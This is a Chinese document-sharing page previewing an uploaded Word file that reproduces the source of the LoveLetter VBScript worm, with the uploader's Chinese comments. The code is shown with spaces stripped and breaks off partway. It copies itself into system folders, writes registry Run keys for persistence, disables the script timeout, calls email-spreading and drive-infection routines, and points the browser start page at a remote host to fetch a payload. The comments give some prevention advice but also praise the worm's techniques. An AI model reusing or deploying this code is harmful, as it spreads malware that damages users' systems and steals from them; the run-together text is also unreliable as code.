资源描述：
《程序中的中文注释为本人所加，并针对病毒特点予以解释，.doc》由会员上传分享，免费在线阅读，更多相关内容在学术论文-天天文库。
1、程序中的中文注释为本人所加，并针对病毒特点予以解释，同时，给出了预防病毒的方法。'我个人认为LoveLetter写的并不是十分的棒，但是它使用的不少技术确实令人赞叹'病毒作者也许没有受过专业的编程训练，但是从选择的程序资源来看，确实下了一番功夫。'本病毒源码也可以用来回答VB爱好者的很多问题。rembarok-loveletter(vbe)remby:spyder/ispyder@mail.com/@GRAMMERSoftGroup/Manila,Philippines
2、'注释：程序作者的签名（可能）OnErrorResumeNextdimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=""ctr=0Setfso=CreateObject("Scripting.FileSystemObject")'注释：FileSystemObject是M$VBVM系统中最危险的部分，它的功能十分强大'从病毒使用FSO可以知道，通过修改注册表，可以轻易防止LoveLetter发作。setfile=fso.OpenTextFi
3、le(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()'注释-程序初始化完成。submain()OnErrorResumeNextdimwscr,rrsetwscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout")if(rr>=1)thenwscr.RegW
4、rite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout",0,"REG_DWORD"'注释-防止操作超时造成的程序终止。'应该说，编写病毒的程序员考虑到了可能发生的问题，这一点值得所有的编程者借鉴。endifSetdirwin=fso.GetSpecialFolder(0)Setdirsystem=fso.GetSpecialFolder(1)Setdirtemp=fso.GetSpecialFold
5、er(2)'获取系统关键文件夹的名称'VB编程时可以用。Setc=fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"MSKernel32.vbs")c.Copy(dirwin&"Win32DLL.vbs")c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")'复制自身到关键目录中备用。'文件名并不是很好。太容易被发现了。regruns()html()spreadtoemail()listadriv()
6、endsubsubregruns()'修改注册表，以便自动装载病毒程序'预防：经常检查注册表中的这一分支。'已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进，'因为它不会因为语言问题而失效。OnErrorResumeNextDimnum,downreadregcreate"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"r
7、egcreate"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerDownloadDirectory")if(downread="")thendownread="c:"endifi
8、f(fileexist(dirsystem&"WinFAT32.exe")=1)thenRandomizenum=Int((4*Rnd)+1)ifnum=1thenregcreate"HKCUSoftwareMicrosoftInternetExplorerMainStartPage","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6
